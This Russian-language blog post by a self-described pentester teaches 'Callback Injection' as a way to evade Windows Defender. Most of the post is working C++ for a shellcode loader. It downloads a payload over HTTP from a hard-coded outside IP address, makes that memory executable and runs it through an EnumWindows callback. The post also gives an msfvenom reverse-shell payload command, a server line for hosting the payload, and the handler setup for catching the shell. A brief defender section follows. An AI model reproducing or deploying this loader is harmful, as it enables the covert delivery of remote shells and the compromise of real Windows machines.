Меня зовут Степанов Даниил, я пентестер в одной из крупных ИБ компаний России. В основном занимаюсь внутренним пентестом, исследованием обходных техник и автоматизацией эксплойтов. Сегодня разберем интересную технику Callback-Injection (где даже не будем обфусицировать шеллкод метасплоита 0_0 )
📌 Оглавление
Введение: проблема классической инъекции
Что такое Callback Injection
Почему это работает против Defender
Полный разбор техники (с кодом)
Демонстрация работы
Как защититься
Заключение
1. Введение
Представьте ситуацию: вы на пентесте, у вас есть шеллкод, но Windows Defender блокирует любой подозрительный вызов. CreateRemoteThread — детектится. QueueUserAPC — детектится. NtCreateThreadEx — детектится.
Что делать?
Ответ: не создавать потоки самому, а попросить Windows сделать это за вас.
Callback Injection - это техника, при которой вы «одалживаете» легитимный поток Windows, заставляя его выполнить ваш код через официальные callback-механизмы.
2. Что такое Callback Injection
Callback - это функция, которую вы передаёте Windows, чтобы система вызвала её при наступлении определённого события.
Windows содержит сотни callback-механизмов:
EnumWindows— для перебора оконEnumChildWindows— для дочерних оконEnumFonts— для перебора шрифтовSetTimer— для таймеровSetWinEventHook— для событийИ многие другие…
Идея в том, что вы:
Выделяете память с шеллкодом
Меняете защиту на исполняемую
Передаёте указатель на шеллкод в качестве
lParamВ callback'е просто выполняете его
Windows сама вызывает ваш код в своём потоке.
3. Почему это работает против Defender
Почему EnumWindows не детектится?
EnumWindows- легитимная функция, используемая тысячами приложенийCallback вызывается внутри
ntdll!ZwEnumerateWindows, что выглядит как обычный системный вызовEDR редко проверяют, что именно выполняется в callback'е
4. Полный разбор техники (с кодом)
Шаг 1: Скачиваем шеллкод с сервера
std::vector<BYTE> DownloadFile(const wchar_t* server, int port, const wchar_t* path) { HINTERNET hSession = WinHttpOpen(L"WinHTTP/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); HINTERNET hConnect = WinHttpConnect(hSession, server, port, 0); HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", path, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0); WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0); WinHttpReceiveResponse(hRequest, NULL); std::vector<BYTE> result; BYTE buffer[4096]; DWORD bytesRead; while (WinHttpReadData(hRequest, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) { result.insert(result.end(), buffer, buffer + bytesRead); } WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession); return result; }
Шаг 2: Callback-функция
BOOL CALLBACK InjectionCallback(HWND hwnd, LPARAM lParam) { // lParam содержит указатель на наш шеллкод void (*shellcode)() = (void(*)())lParam; // Выполняем! shellcode(); // Останавливаем перебор после первого окна return FALSE; }
Шаг 3: Основная логика
int main() { // 1. Скачиваем шеллкод auto shellcode = DownloadFile(L"31.44.0.193", 8080, L"/payload.bin"); // 2. Выделяем память LPVOID pMemory = VirtualAlloc(NULL, shellcode.size(), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // 3. Копируем memcpy(pMemory, shellcode.data(), shellcode.size()); // 4. Меняем защиту на исполняемую DWORD oldProtect; VirtualProtect(pMemory, shellcode.size(), PAGE_EXECUTE_READWRITE, &oldProtect); // 5. Запускаем через callback EnumWindows((WNDENUMPROC)InjectionCallback, (LPARAM)pMemory); // 6. Очистка (сюда не доходим, если шеллкод успешен) VirtualFree(pMemory, 0, MEM_RELEASE); return 0; }
Что происходит под капотом?
1. VirtualAlloc → выделяет память (PAGE_READWRITE) 2. memcpy → копирует шеллкод 3. VirtualProtect → меняет защиту на PAGE_EXECUTE_READWRITE 4. EnumWindows → перебирает все окна, вызывая ваш callback 5. Callback → выполняет шеллкод 6. Шеллкод → например, reverse shell
Важный момент: Код выполняется в контексте потока, который вызвал EnumWindows. Это поток вашего процесса, поэтому шеллкод будет выполняться с теми же правами, что и ваша программа.
5. Демонстрация работы
Подготавливаем нашу тестируемую машину (включаем все что есть в защитнике)

2. Подготавливаем наш shellcode и поднимаем сервер на VPS
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ip LPORT=4444 -f raw -o shellcode.bin python3 -m http.server 8080

3. Меняем переменные в коде

Если для тестирования будете использовать мой код то надо изменить эти значения на ваши
4. Запускаем exploit/multi/handler для получения шелла

5. Запускаем на жертве наш код и получаем шелл!

6. Как защититься
Для защитников:
Мониторить вызовы
VirtualProtectс изменением защиты наPAGE_EXECUTE_READWRITEАнализировать callback-функции — проверять, не указывает ли
lParamна исполняемую памятьИспользовать EDR с поведенческим анализом — CrowdStrike и Carbon Black детектят эту технику на поведенческом уровне
Включить контроль приложений (WDAC/AppLocker)
7. Заключение
Callback Injection - это не новая техника, но она до сих пор работает на многих системах.
Почему я делюсь этим?
Потому что понимание методов атак - первый шаг к их предотвращению. Windows Defender отлично защищает от "школьных" методов, но против продвинутых техник он всё ещё уязвим.
Что дальше?
P.S. Полный код с комментариями я выложил на GitHub (https://github.com/NewComrade12211/callbackinjection/blob/main/callbackinjection.cpp).
В следующей статье я расскажу о расширении техники - использовании других callback-функций (EnumChildWindows, EnumFonts, EnumPrinters). А также покажу, как обфусцировать шеллкод, чтобы обойти даже поведенческий анализ.Подписывайтесь на телеграм-канал, чтобы не пропустить https://t.me/c2signals.
